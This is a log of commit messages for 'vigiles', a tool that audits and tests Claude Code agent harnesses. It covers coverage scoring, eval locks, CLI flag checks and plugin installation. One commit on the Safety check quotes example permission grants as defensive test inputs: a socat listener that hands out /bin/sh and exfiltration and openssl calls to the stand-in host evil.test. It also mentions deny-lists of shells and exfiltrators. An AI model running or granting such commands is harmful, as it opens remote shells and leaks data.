locks are committed. This ledger is local and gitignored; a committed
`.vigiles/eval-locks/<name>.lock.json` is the only channel outward. Give the
eval a `name`, run `vigiles eval --update`, and commit the lock so `--check`
can gate on it.
Verified by running `audit` before and after. BEFORE: zero lines mentioning locks
on either repo. AFTER, on the consumer repo AND on this one:
Flight recorder — 623 records in .vigiles/runs.jsonl
by kind: 105 eval, 518 hook
⚠ CI cannot verify any eval result — 105 eval run(s) …
(vigiles' own repo: 623 eval records, 0 locks — the same hole)
Fires only with eval runs AND no lock. Silent with no evals (nothing to say) and
silent once a lock exists (the fix is done — it must not keep nagging).
No new verb, no new flag, no new rule: it is a line in the flight-recorder
section the audit already prints.
**AUDIT ONLY, NOT LINT**, and the reason is mechanical rather than editorial: the
input is `.vigiles/runs.jsonl`, which is GITIGNORED. In CI — where lint runs — the
ledger does not exist, so this finding could never fire there. In lint it would be
dead code that reads as a gate.
## 2. A docs table putting the three side by side
`docs/harness-testing.md`, in the lock section: ledger · cache · lock, by *what
question does it answer · where · who writes it · is it committed*. Plus the
distinction that was buried in a code comment, in plain words: the cache keys on
the harness binary version and the lock deliberately does not — the strict key
exists for honest replay, the loose one exists so `--check` does not go red on
every PR just because CI's `claude` differs from your laptop's.
NOTHING WAS RENAMED. `.vigiles/eval-locks/` is a committed directory in users'
repos and the flags, the `eval-check` action and the API surface hang off the same
names; renaming it would silently disable a user's CI gate. That is a one-shot
migration decision, not tonight's work.
## Verification
Three mutations, each failing on its own assertion: never emit the line · fire
even when a lock exists · fire with no evals recorded.
⚠️ The first full gate came back at 99.93% lines — one uncovered branch, a
`try/catch` I had added to `countLocks` that no test can reach. Removed rather
than ignored: `anyLocksCommitted` never had one, and a defensive branch nobody can
exercise trades a real coverage line for nothing.
Gates: build · full suite with coverage 2805 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* site: the promise is three instruments, not one — audit, test and measure
The headline, the <title>, and every link-preview card said only
"Lighthouse for your agent harness". A reader's first contact learned
that vigiles SCORES a repo and never learned it also RUNS the harness
against a scripted stand-in model and MEASURES whether a skill fires —
the verb map two screens down was the only place breadth appeared.
Pain still leads the paragraph, per the README direction. The Lighthouse
analogy stays where it is true of `audit` specifically: the verb map and
the FAQ's "a tool you run, not a framework" answer.
* fix(coverage): one settings file, ONE reader — the twin never got the fix
The project-root token was taught to the disk detector and not to the
browser twin, so the same `settings.json` that yields four hook surfaces
on disk yielded ONE through `findUntestedSurfacesInFiles`: only the
PLUGIN token was stripped, and `$CLAUDE_PROJECT_DIR/.claude/hooks/a.sh`
kept its literal prefix, missed the existence check and was dropped
silently. The audit under-reported the untested-hook count and the score
for exactly the repos that use Claude Code's documented spelling.
Repairing the twin in place would have left the NEXT token to be added
twice, which is how this got here. So the parsing, the token set, both
token spellings, the prefix stripping and the node_modules dependency
rule move into `hookScriptRefs` in coverage-evidence.ts — the module both
twins already route through so they cannot drift on what decides
coverage. The callers now inject only what genuinely differs: where the
manifest text comes from, and what "this file exists" means. Neither
enumerates tokens, so neither can forget one.
The twin had never had the node_modules branch at all, so a file map from
a repo that vendors its runtime would have handed the author their
package manager to test. That is closed by the same move.
Verified by mutation: dropping `projectRootTokens` from the shared helper
fails BOTH the disk test and the new twin test, so both are live and both
really do run through the one implementation.
* fix(coverage): the paid tier is a SUFFIX the runner can glob, not an infix
`.eval.` was matched anywhere in the basename, so `parser.eval.test.ts` —
an ordinary deterministic test, discovered only because the repo set
`testGlobs: ["**/*.test.ts"]` — was pushed into the paid EVAL tier and
removed from the free one. `vigiles eval` globs
`**/*.eval.{mjs,cjs,js,mts,cts,ts}` (scriptGlob over SCRIPT_EXTS), and
that name ends `.test.ts`, so the eval runner can never discover it. The
surface was reported covered by the tier that cannot run it and uncovered
by the tier that does: eval-covered by nothing runnable.
The infix was not arbitrary — it replaced the full suffix `.eval.mjs`
because `foo.eval.ts` then fell into the FREE branch and would have spent
real model calls on every push. So this narrows to a suffix rather than
reverting: `.eval.` followed by a runnable extension at the END. Wrong in
neither direction.
The rule moves into `isEvalScript` in coverage-evidence.ts, shared by
both twins, which had been carrying the infix separately. Its extension
list is re-declared because the authority (SCRIPT_EXTS) lives in a module
that imports node:child_process; a test asserts the two agree, so an
extension added to the runner cannot silently stop being billed.
Verified by mutation: restoring the bare infix fails both the false-grant
test and the SCRIPT_EXTS pin. The money-hazard case is covered for every
extension in SCRIPT_EXTS, and it passes before and after.
* fix(audit): honour the stopping rule — the foreign-runner gate is deleted
`locallyBound()` checked declarations and import aliases but never
PARAMETER lists, so `function testDriver(runEval) { runEval(fake); }` — an
ordinary offline test that injects a fake — was read as spawning a real
agent. Measured, not argued: the gate over one file of that shape returns
one finding whose warning reads "It calls `runEval`, which spawns an
agent" and tells the author to rename the file. That sentence is false
about that file.
That is the SEVENTH distinct false-positive shape reported against this
gate, and its own header pre-registered what to do about a seventh:
delete the gate and let the money guard be the whole defence. So it is
deleted rather than narrowed an eighth time. The shape had even been
self-disclosed in the file as a known residual — which is not a defence.
A pre-registered stopping rule exists precisely to stop "we know, it is
acceptable" from running forever, so the count is honoured rather than
reasoned around.
The measurement says the same independently. Across three corpora
(3 613 js/ts files) and re-measured at deletion over this repo's 941
files: 0 true positives, ever, against 7 false-positive shapes. Its only
demonstrated effect on a real repository was an effect of NOT firing, and
every error it made was the expensive kind — the remedy it prints is
"rename this file", so a false warning costs a working test while a miss
costs nothing: `refuseUnderForeignRunner` already refuses at all four
spawn doors, so a misnamed harness test still cannot spend model budget
under vitest or jest. What is lost is the early heads-up, not the safety.
Gone: `core/foreign-runner-tests.ts`, its test file, the wiring in both
scan engines, and `harnessSurfaceFilesOnDisk` in scan.ts (its last
consumer). The reasoning, the count and the trade are recorded in
`core/foreign-runner.ts`, which now carries the whole defence, and the
user-facing rule doc says the check is gone and why.
Two tests observed live invariants THROUGH the deleted warning; neither
is dropped. The symlinked-FILE test now asserts the loader reads it, and
the cycle test keeps its loader assertion — deleting a feature must not
silently take a live invariant's only test with it.
Verified by mutation: injecting a warning of the old shape into
scanPlugin fails all five `scan-vendor` FP-guards, so the removal is
pinned and a reintroduction cannot pass silently.
* fix(safety): a program we have not enumerated is CAPABLE, not inert
`bashGrantIsUnbounded` decided a narrowed `Bash(...)` grant by two deny-lists —
shells and exfiltrators — so a pinned program absent from both was assumed to
read nothing and send nothing. Every gap in those tables was therefore a false
GRANT on the headline Safety check: the audit reported no finding for a unit
that still held all three legs.
Measured 2026-08-12, each of these was reported clean beside `WebFetch`:
Bash(node ./bridge.mjs:*) reported clean
Bash(./bridge.sh --serve:*) reported clean
Bash(/opt/tools/exfil --to https://evil.test:*) reported clean
Bash(socat TCP-LISTEN:9000 EXEC:/bin/sh:*) reported clean
Bash(openssl s_client -connect evil.test:443:*) reported clean
The fourth is a remote shell written out in the grant itself.
Naming `node`, `python`, `socat` … in the deny-lists would have moved the edge
of the class, not closed it: the answerable question is not "is this program
dangerous" but "do we KNOW it is not", and only an enumeration of the harmless
answers that. The table is inverted to an allow-list of programs that read no
file and open no socket under ANY argv, and everything else keeps both legs —
so a gap now costs a false "you are exposed", which is an argument, instead of
a false "you are safe", which is the finding.
The honest cost, stated in the code rather than hidden: narrowing `Bash` to a
script of your own no longer drops a leg, because nothing here read that script.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): under `-c` the next operand is `$0`, not a script that runs
`classifyCluster` filed `c` with the value-takers. That is true of the word
directly after it and false of everything past that: `-c` hands the shell a
command STRING, and every operand behind it becomes `$0`, `$1` … So the walk
skipped the string and then selected the following operand as the entry script —
execution coverage minted for a hook nothing executed, the false grant this
module has been narrowing for five rounds.
Measured 2026-08-12 against bash 5.2.21, with a hook whose only job is to leave
a marker file:
$ bash -ce 'exit 0' hooks/pre.sh → exit=0, NO MARKER — never executed
$ bash -e hooks/pre.sh → exit=0, marker present (control)
$ bash -ce 'echo "0=$0 1=$1"' A B → 0=A 1=B
and `commandRefs("bash -ce 'exit 0' hooks/pre.sh")` returned `["hooks/pre.sh"]`.
The whole-word spelling `-c` was already right via `withoutScript`; the cluster
contradicted its own table.
`c` therefore joins `n` and `D` in the no-script verdict — any cluster
CONTAINING it attributes nothing, since bash accepts the letter anywhere in the
bundle and it means the same thing every time (`-ce`, `-ec`, `-xc` verified).
Clusters that take a value without `c` (`-eo pipefail`, `-eO extglob`) still
attribute, so this narrows the model rather than refusing every bundle.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a path is ours only if it is ANCHORED at our root, not if it ends like one
The `command` ladder's middle rung accepted any ref whose tail matched a surface
path, so an absolute path in somebody else's tree credited a local file.
Measured 2026-08-12 against the single surface `hooks/pre.sh`:
/workspace/vigiles/hooks/pre.sh => ["hooks/pre.sh"] (ours)
/tmp/fixture/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/home/other/repo/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/nix/store/abc123-plugin/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
Keeping the full qualified path did not close it. The bottom rung's repair was
about a ref carrying NO directories; any external path ending in the complete
repo-relative tail still miscredits. It is the same defect one rung up — a
SUFFIX taken for an identity.
A path is ours only if it is anchored at our root, so the rung now demands an
anchor and the caller supplies one. Two anchors exist and no third is invented:
the repository root itself (an absolute ref must lie beneath it, and the
remainder is then compared EXACTLY), and an unexpanded PROJECT-root variable,
which is how a settings-file hook reaches this tier. Plugin-root tokens are
deliberately excluded: the whole-harness tier co-installs competitors, so
`${CLAUDE_PLUGIN_ROOT}` names whichever plugin ran, not necessarily this one.
Everything else resolves to nothing — an absolute ref outside the root, an
absolute ref with NO root supplied, and a relative ref carrying extra leading
directories (`../other/…`, `vendor/plugin/…`), which was the same hole spelled
without a leading slash. Absent a root the rung abstains wholesale rather than
falling back to the tail match.
`selfNamespaces` and `root` move into one `ResolveOptions` argument so the two
cannot be passed in each other's place; the compiler located all four call
sites.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: prettier-clean the tree — `prettier --check` is a gate `lint` does not cover
Round 26 shipped `src/test-coverage.test.ts` unformatted and CI's `test` job
failed at its last step (`prettier --check .`), after every test had passed.
`npm run lint` is `eslint src/` and says nothing about formatting, so the only
thing that catches this is running the check itself, last.
The reflow is whitespace only: one `write(...)` call wrapped across four lines.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
A bundled script named in a markdown heading was invisible to skill-resource-resolves, because the use-directive gate reads prose and a heading is not prose. An ATX heading now counts; the widening stops there, measured at 1 finding before and after over 28 SKILL.md files.
Malformed frontmatter was regex-salvaged into the tool contract the lethal-trifecta and Safety ring read, so a unit whose allowed-tools a strict loader rejects scored as the narrow contract its author meant. A salvage may now only make the verdict worse, never better — the vendored corpus forced that nuance by going red when the first pass refused salvages outright.
vigiles test reported a clean exit with zero assertions as a pass. vigiles/testing now counts checks per tier and the runner reports a fourth, non-fatal state. Silence stays a pass: undefined means nobody counted, 0 means counted and found nothing.
No new CLI verb or flag. Every mechanism is deterministic. Direction is strictly more conservative: nothing can now pass that could not before.
* feat(audit): split Tested into Tested + Evaluated, with a `not measured` state
`Tested` collapsed deterministic harnesses and real-model evals into one
number, and its finding read "N surfaces with no vigiles test/eval" — one
sentence for two prescriptions three orders of magnitude apart in cost.
A harness (`*.harness.mjs`, `*.test.*`) is free, runs in milliseconds on
every push, and asks whether a gate still catches what it claims. An eval
(`*.eval.mjs`) spends real model calls, runs on a schedule, and asks the one
question a deterministic read cannot: does this skill fire at all? Folded
together, a repo with complete deterministic coverage and no evals scored
identically to a repo with neither.
- test-coverage: one discovery pass, partitioned by suffix into a harness
tier and an eval tier; the union `covered`/`untested` fields are unchanged.
Mirrored in the browser-safe twin.
- scan: carries `untestedHarness` / `unevaluated` / `evaluable` (optional and
additive; a producer predating the split falls back to the union).
- audit-score: `Tested` (deterministic) and `Evaluated` (real-model), both
advisory. `Evaluated` has THREE states — a number, a measured `0`, and
`not measured` when the executing checks were skipped and no eval exists.
Scoring 0 there would report the absence of a check as its result, which is
the pattern this tool exists to name elsewhere. In that state the ring
names the command that would measure it.
- cli: threads the existing execute-skip signal into the ring.
- report/HTML/JSON: both rings render; the inventory carries both counts.
Grade weighting is unchanged — both rings are advisory and neither enters
`reportDeductions`. Audited on this repo before and after: A (100/100) both
times; only the diagnostic rings move (Tested 67 → Tested 58 + Evaluated 22).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012omt6sirxNMyZN2x5RhK2u
* docs(site): the audit grades six categories, not five
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012omt6sirxNMyZN2x5RhK2u
* fix(lint): a clean union must not read as 'firing verified'
Every surface can have a deterministic harness while nothing has ever
measured that a skill fires. The gate is unchanged (still the union), but
the ✓ now says so instead of implying the question was asked.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012omt6sirxNMyZN2x5RhK2u
* test(site): regenerate the browser-parity fixture for the Evaluated ring
The audit now emits a sixth category, so the Node-generated expected report and
the in-browser one differ until the fixture is regenerated — which is what the
test's own header prescribes for an intentional engine change.
Regenerated with `node site/scripts/gen-parity-expected.mjs`. The diff adds the
Evaluated ring and its two inventory counts and nothing else: grade and overall
are untouched, which is the check that the split did not move the weighting.
* fix(coverage): `Tested` measured a STRING, not a test
DEFECT. A surface counted as covered when its path or namespace appeared as a
SUBSTRING anywhere in any discovered test file (`content-reference`, in
src/test-coverage.ts). Two halves, and the second was worse.
REPRODUCTION (a real repo: 37 skills, 14 hooks). Appending ONE line to an
existing harness file:
// probe: skills/argument-arc
moved the audit's untested count 33 -> 32. A comment. Not a test. Reverting the
line put it back. So `Tested` was trivially gameable and the gaming was
indistinguishable from real work.
The false NEGATIVE: that repo's `.claude/pipeline/skills.harness.mjs` genuinely
asserts over all 21 of its pipeline skills, but builds each path at runtime
(`join(root, ".claude", "skills", name, "SKILL.md")`), so it contains ZERO
literal `skills/<name>` strings (grep: 0 matches) and covered NOTHING.
Generality was PENALISED: 21 trivial files each naming their own subject would
have scored better than the one harness that actually tests all 21.
This is the exact substitution vigiles names in other people's repos — presence
of a surface taken for presence of the property, the way `noExplicitAny` in a
config is taken for the rule being enforced. The tool was committing it in its
own scoring.
FIX, three parts (new src/coverage-evidence.ts — pure and browser-safe, so the
disk detector and its in-browser twin cannot drift on what decides a grade):
1. DECLARATION. A test file may carry `vigiles:covers <surface> ...`, mirroring
the existing `vigiles:ignore-test` marker convention on the other side. A
runtime-path harness can now say what it covers; an accidental mention
cannot. Declaration beats inference — the same move as declaring
`allowed-tools` instead of inferring capability.
2. PROVENANCE. Every coverage decision now carries HOW it was reached —
declared / colocated / mention — and the counts are printed by
`formatUntestedReport`, by `formatScanReport`, and carried in
`AuditReport.inventory.coverageEvidence` (additive; schema version
unchanged). A repo whose coverage rests entirely on substring matches can
finally see that about itself; "28 covered" and "28 names that happen to
appear in a file" used to print identically.
3. The bare substring detector is KEPT, deliberately, and said so in the code:
it is the zero-config path that makes an ordinary `foo.test.ts` naming
`skills/foo` count without anyone learning a marker, and dropping it would
flip honestly-covered surfaces to "untested" overnight. What it no longer
reads is COMMENTS. A path in a comment is prose about a test; a path in
executable code is the test reaching for the surface. Prose isn't policy,
including ours. It is also now visibly the weakest tier in the report, and
when it is the ONLY evidence the report says so in words.
Grade weighting is untouched.
TESTS prove both halves, each watched failing first: with the fix reverted, "a
surface named ONLY in a comment is NOT covered", "a runtime-path harness that
DECLARES its surfaces is counted" and "a declaration OUTRANKS a mention" fail
(3 failed | 20 passed); with it, 23 passed. Also guarded: a mention in CODE
still counts, and a `"https://..."` string literal survives comment-stripping.
Docs (untested-skill/-subagent/-hook) updated — untested-skill.md previously
recommended "add the skill's path in a comment", which was advice to exploit
the defect.
* fix(site): key the browser-test prebundle to dist, so a stale cache can't lie
DEFECT. `site/src/demo/browser-parity.browser.test.ts` guards node:zlib vs pako
divergence by comparing an in-browser AuditReport against one generated in Node.
`site/vitest.config.ts` pre-bundles the engine (`optimizeDeps.include` on
`@engine/scan-files` / `@engine/audit-report` / `pako`) and Vite caches the
result in `site/node_modules/.vite`. That cache SURVIVES `npm run build` — Vite
invalidates on config/lockfile changes, not on the mtimes of an aliased path
outside node_modules. So the browser side can compute against a PREVIOUS engine
while Node computes against the current one.
REPRODUCTION (observed 2026-08-07, twice — once by accident, once deliberately).
Accidentally: an engine change added a report field; the parity test failed
showing the field present on the Node side and absent in the browser. I read
that aloud as a genuine engine divergence and started hunting a pako bug that
does not exist. `rm -rf site/node_modules/.vite` -> 42/42 pass.
Deliberately, to prove the fix: plant an extra `inventory` field in
src/audit-report.ts, `npm run build`, regenerate the expected fixture, run the
browser suite with a warm cache.
- ORIGINAL config: `1 failed | 41 passed`, diff showing `"probeStaleCache": 1`
on one side only — a field-level diff that reads exactly like a real
divergence and says nothing about the cache.
- THIS config: `42 passed`, cache dir rotated `.vite-engine-8baf73f9e373` ->
`.vite-engine-a52a27e0137e`.
Reverting the plant returns the fixture to its committed bytes.
FIX. Key the prebundle cache DIRECTORY on a fingerprint of `dist/`
(`site/vite.engine-stamp.ts`; `cacheDir: node_modules/.vite-engine-<stamp>`),
sweeping the directories keyed to other fingerprints so they don't pile up.
WHY a key and not the alternatives. Comparing the cache's mtime against `dist/`
and forcing a re-bundle, or clearing `.vite` in the test script, both work and
both leave the bad state REACHABLE — a comparison someone can get wrong, or a
script step bypassed by running `vitest` directly. Keying the directory removes
the state instead: a different `dist/` is a different path, so "prebundle built
from another engine" cannot be reached, and an unchanged `dist/` still gets a
warm cache. By construction rather than by check — the argument this project
makes everywhere else about removing a capability rather than policing its use.
The test's header instruction ("pako and node:zlib disagree — do NOT paper over
it") was correct for one of the two states and actively misleading for the
other; it now says which state is no longer reachable and why, and the
assertion carries the same note in its failure message.
* fix(site): make the parity-fixture generator emit prettier-clean JSON
DEFECT. `site/scripts/gen-parity-expected.mjs` wrote the fixture with
`JSON.stringify(x, null, 2)`, which is NOT what prettier prints for JSON — it
keeps short arrays exploded across three lines where prettier collapses them.
CI gates on `prettier --check .`, so every regeneration of the fixture committed
a file that reddened CI later and far from the cause. It just did: branch head
dec140a failed the `test` job on exactly this file after the Evaluated-ring
change required a regeneration.
REPRODUCTION: `node site/scripts/gen-parity-expected.mjs` then
`npx prettier --check site/src/demo/__fixtures__/sample-repo.expected.json` →
exit 1, six array literals reflowed.
FIX: the generator formats through prettier before writing. Chosen over adding
the file to `.prettierignore` because the fixture is committed and reviewed, so
its diffs should look like every other file's — and because ignoring it would
silence the alarm while leaving the state that trips it. Same shape as the
stale-prebundle defect this fixture's own test hit: an artifact whose
regeneration leaves a bad state is fixed at the regeneration, not downstream.
Also adds `site/checks/` to `.prettierignore` — generated per-rule pages from
the site prebuild, gitignored by `site/.gitignore`, but not ignored by prettier,
so building the site locally reddened `fmt:check` on files nobody commits. Same
class as the `site/test-results/` entry already there.
`npm run fmt:check` is clean.
* fix(cli): refuse unknown flags; `<verb> --help`; nothing-to-audit ≠ grade F
DEFECT, in three parts. Every verb parsed its own flags with
`args.includes("--x")` and ignored everything else.
1. AN UNKNOWN FLAG WAS SWALLOWED. Measured:
$ npx vigiles audit --this-flag-does-not-exist
Detected harness: claude-code
Harness audit …
EXIT=0
A full, confident audit as if the flag had never been typed. Not cosmetic:
audit's flags govern what LEAVES the machine — `--no-html`, `--no-json`,
`--out=<dir>`, `--serve`. `--no-htlm` wrote the HTML report while the author
believed they had suppressed it. For a tool whose thesis is "prose isn't
policy", accepting an argument it did not understand and continuing is the
same class it names elsewhere: the argument is PRESENT, therefore the
property is assumed enforced.
The hole was on EVERY verb, not just audit — checked and closed uniformly
(`lint`, `test`, `eval`, `compile`, `eject`, `init`, `generate`).
`hook-runtime` is deliberately exempt: its argv is emitted into hooks configs
by the harness, never typed by a human, so validating it would break the
runtime contract.
2. `vigiles audit --help` RAN AN AUDIT. Help existed only on the bare
`vigiles --help`. Asking what a flag is called executed the command. Now each
verb answers `--help` with its own entry plus its complete flag list, and
`printUsage` renders from the same table, so the banner and the per-verb help
cannot drift.
3. "FOUND NOTHING" WAS INDISTINGUISHABLE FROM "FOUND SOMETHING BAD". How it
bit: `npx vigiles audit --json /some/path`. `--json` is real but takes no
value, so the PATH fell through to the positional scan directory. The audit
ran over a directory containing no harness and reported "No loadable harness
surface — nothing to grade yet", `skills: 0`, grade F, EXIT 0 — byte-wise
indistinguishable from a genuine audit of a repo that scores badly. A
confident measurement OF THE WRONG OBJECT, in silence. An operator who did
not already know the repo had 37 skills would take it as fact.
`score.empty` (no instruction file AND no surface) is now a distinct, loud
outcome on stderr that says what was scanned, that nothing was measurable,
and that a flag may have swallowed the path. No grade is printed for it.
Note the flag check does NOT catch that invocation — `--json ./dir` is
legitimate — so this branch is what makes it visible, and it covers every
other way of pointing at the wrong place.
EXIT CODE, chosen against the CLI's existing convention rather than invented: 1
already means "I ran, and the thing you asked about is bad" (lint findings, a
failing harness script); 2 already means "I could not do what you asked" (the
top-level error handler, `eval`'s refusal-to-fan-out, `generate` with an unknown
kind). Both new outcomes are the second. A script that greps for a grade needs
"unhealthy" and "I was pointed at the wrong directory" to differ, and the second
has no grade at all. `--json` still emits the report for an empty target (it
self-describes with `score.empty: true`), so the machine contract is kept.
TESTS, each watched failing first. With both guards reverted, 8 of
src/scan-cli.test.ts fail (unknown flag on audit, the typo suggestion, the
per-verb sweep, `audit --help`, every-verb `--help`, the empty-target outcome,
its `--json` form, and the codex-config case below); with them, 48 pass. Plus 7
pure tests in src/cli-flag-check.test.ts, including the over-rejection guard
that asserts EVERY flag in the registry is accepted by its verb, and a dogfood
test that drives the real `vigiles --help` and fails if it advertises a flag the
registry doesn't know.
TWO EXISTING TESTS CHANGED, both because the behaviour they pinned WAS the
defect:
- cli.test.ts "old --pillars / --verify flags no longer scope a pillar"
asserted that a REMOVED flag is silently ignored and `init` proceeds with
defaults. It now asserts the removed flag is rejected — a cleaner break, and
the exact "silently do something other than what was asked" this fixes.
- scan-cli.test.ts "honors the .vigilesrc.json `harness` key" audits a
CLAUDE.md-only fixture AS CODEX, which finds no AGENTS.md and no codex
surface. That is now exit 2 rather than a silent grade F at exit 0; the
harness-resolution assertion the test exists for is unchanged.
Both `--help`/unknown-flag sweeps run from a THROWAWAY cwd: while proving the
fix by reverting it, `init --definitely-not-a-flag` ran a real `vigiles init`
and wrote 21 specs, a workflow and a config into the repo. The test now cannot
do that to whatever directory it runs in.
docs/cli.md documents the rejection, the `=`-only value form, and the exit-code
table.
* fix(report-view): mirror the split inventory fields, and let CI see the project
The Evaluated ring added `untestedHarness` and `unevaluated` to the engine's
inventory and not to the view's mirror, so `sample.ts` set two fields the type
did not have. `tsc -p site/tsconfig.json` failed the whole time.
It went unnoticed because CI runs three typecheck steps — root, `test/types`,
and generated types — and none of them covers site/ or packages/report-view.
Three green checks, none over the project that broke. That is the same shape as
every defect in this PR: a check that exists, passes, and does not cover the
thing that failed.
So both halves. The fields are declared optional, because a report produced
before the split carries neither and the view must still render an older
artifact. And CI now typechecks that project, so the next field added on one
side of the mirror fails where someone will see it instead of waiting for
whoever next runs tsc by hand.
Found by the agent that fixed #10-#12 while reporting what it had NOT fixed.
* feat(audit): say so when a repo's vigiles skills are unreachable
vigiles ships six user-facing skills, and `test-harness` alone answers the
question the testing docs are otherwise organized around ("which tier do I
want?"). They are wired by the GLOBAL plugin install; `npm install vigiles`
ALSO drops them at `node_modules/vigiles/skills/`, which Claude Code never
scans. A repo that took the dependency but never ran the plugin install has
all six present on disk, unselectable, and silent — observed for a full day in
a consumer repo whose author was writing harness tests by hand.
`vigiles audit` now checks reachability and warns, following the
`dialect-drift` shape: pure parsers + a best-effort local read that never
throws + a formatter that returns null when there is nothing to say. No new
verb, no new flag. Advisory only, never scored: reachability is a property of
the machine, not the repo, and a score that differed between a laptop and CI
for identical source would be a lie.
The subtle part, and the reason this was misdiagnosed as an npm packaging bug:
the authoritative record of `claude plugin install` is the global
~/.claude/plugins/installed_plugins.json, NOT the repo's .claude/settings.json
(which carries PROJECT-level enabledPlugins, where a correctly-installed
user-scope plugin does not appear). Judged from settings.json alone, a working
install reads as broken. Verified live: with this box's real HOME the check is
silent because vigiles@vigiles genuinely IS installed; with a fresh HOME the
same repo warns.
Also pins the trap that started this. A hand-rolled execFileSync runner returns
stdout ALONE on success, so advisory output — including vigiles's own compiled
hook notice() — vanishes and a healthy react hook reports as dead (hit three
times in one repo). runHook already carries both streams and is the right tier
for a plain helper script; test-harness now says so, including the honest limit
that filesWritten is recorded only under confinement, so assertNoWrite passes
vacuously on an unconfined run. Three tests hold that contract.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(audit): a project plugin declaration is not an install
Investigating whether `init` should wire the plugin per-repo turned up the
opposite of the premise, and a bug in the check shipped in a138826.
Claude Code's team-marketplace docs, as of CC v2.1.195: "A plugin that only the
project's .claude/settings.json enables, and that comes from an external source
such as a GitHub repository or npm package, doesn't load until the team member
installs it." vigiles ships from a GitHub marketplace, so that is our case.
Committing extraKnownMarketplaces + enabledPlugins makes Claude Code PROMPT a
collaborator to install; it does not install, and a fresh clone or CI job still
has no plugin.
Confirmed empirically on one machine: a repo whose committed settings.json
declares an external plugin project-level had NO marketplace entry, NO cache
dir and NO install record for it in ~/.claude/plugins/, while a plugin
installed the normal way on that same machine had all three. Network was not
the difference — the second install succeeded there, commit SHA recorded.
The bug: the check treated a project `enabledPlugins` entry as proof of
reachability, so it would fall silent for a repo that declares the plugin and
has never installed it — precisely the state it exists to surface, and
precisely the state observed. Project declaration is now a THIRD state,
`declaredNotInstalled`, which still warns but with the correct fix line: the
install is per machine, and the repo cannot perform it on the collaborator's
behalf.
Four tests were watched failing against the previous implementation before the
fix. Advisory-and-unscored stands, and for a stronger reason than before: this
is machine state that no repo-committed file can determine, by deliberate
security design — plugins execute arbitrary code with user privileges.
Co-Authored-By: Claude <noreply@anthropic.com>
* feat(testing)!: split runScript out as the primitive under runHook
`runHook` already WAS a general program runner — arbitrary shell command, stdin
fed, exit code + both streams + writes + egress back — with a thin hook layer on
top. The specialized name owned the general machinery, so someone testing an
ordinary helper script had no name to look for. One did: he hand-rolled an
execFileSync runner and hit the same bug three times, because execFileSync
returns stdout ALONE on success while advisory output (including vigiles's own
compiled-hook notice()) goes to stderr, so healthy react hooks reported as dead.
The layering is now the right way up:
runHook = runScript + event-to-stdin + exit-code-to-decision
src/run-script.ts owns spawning, confinement, egress and write recording; none
of that is about hooks. src/run-hook.ts is 250 lines of hook protocol.
These are two questions, not two ways to ask one: a HOOK has a decision, a
SCRIPT has effects. So ScriptRunResult carries no `decision` field rather than
an always-undefined one, which would teach the reader the field means nothing.
A test asserts its absence, so re-adding it fails.
Also fixes a vacuous assertion, which is the same defect class this repo exists
to catch in other people's harnesses. `filesWritten` is recorded by diffing the
work dir, which only a confined run does — so an unconfined run reported `[]`
and `assertNoWrite` returned GREEN having inspected nothing. "Nobody looked" and
"nothing happened" are now structurally distinct: `undefined` vs `[]`.
assertNoWrite/assertWroteOnly throw on the former and name the fix
(`sandbox: "auto"`). Documenting this was too weak; the code distinguishes it
now instead of the reader having to remember.
BREAKING CHANGE: `HookRunResult.filesWritten` is optional
(`readonly string[] | undefined`) — `undefined` when writes were never recorded,
rather than a misleading `[]`. Code reading it directly needs `?? []`; code using
assertNoWrite/assertWroteOnly gets a real assertion instead of a vacuous pass.
Everything else is additive or structurally identical: HookRunResult now extends
ScriptRunResult with the same members, and RunHookOptions is
Omit<RunScriptOptions, "stdin">. runHook's signature and behaviour are unchanged.
Watched failing first: 3 vacuity tests (assert.throws saw no throw — the vacuous
pass itself), then 3 deliberate breaks — dropping stderr fails 3 tests, re-adding
a decision field fails 1, collapsing unrecorded writes to [] fails 2.
Co-Authored-By: Claude <noreply@anthropic.com>
* feat(init): declare the plugin in the repo, turning silent absence into a prompt
`vigiles init` now merges a two-key declaration into the repo's
.claude/settings.json: an `extraKnownMarketplaces.vigiles` source and
`enabledPlugins["vigiles@vigiles"]`.
WHAT THIS BUYS, precisely: a collaborator who clones and never runs `init`
currently gets SILENCE — the npm package is in node_modules, its six skills are
unreachable, and nothing says so. That silence cost a full day. With the
declaration, Claude Code tells them the project wants this plugin and prints the
install command.
WHAT IT DOES NOT BUY: the plugin. An external-source plugin declared
project-level does not load until each person installs it on their own machine
(CC docs, v2.1.195+), and the boundary is deliberate — plugins execute arbitrary
code with the user's privileges, so a repo may not install one on your behalf.
A fresh clone and a CI job still have no plugin. The README, agent-setup docs
and the CLI output all say this in those terms; none of them claim it wires
anything up.
Nothing is vendored: the entry is a reference. Plugin content stays in the
global cache, one copy shared across repos.
MERGE, never clobber — that file holds the user's hooks, permissions and other
plugins. The merge rules are pure and unit-tested: unrelated keys survive
byte-identical; an existing `vigiles` marketplace entry is left alone (it may
point at a fork); an explicit `false` is respected as a deliberate disable; the
input object is never mutated; a second run is a no-op. Verified end to end
against a synthetic repo whose settings.json carries hooks, permissions, a
$schema and another marketplace — the diff was exactly the two additions.
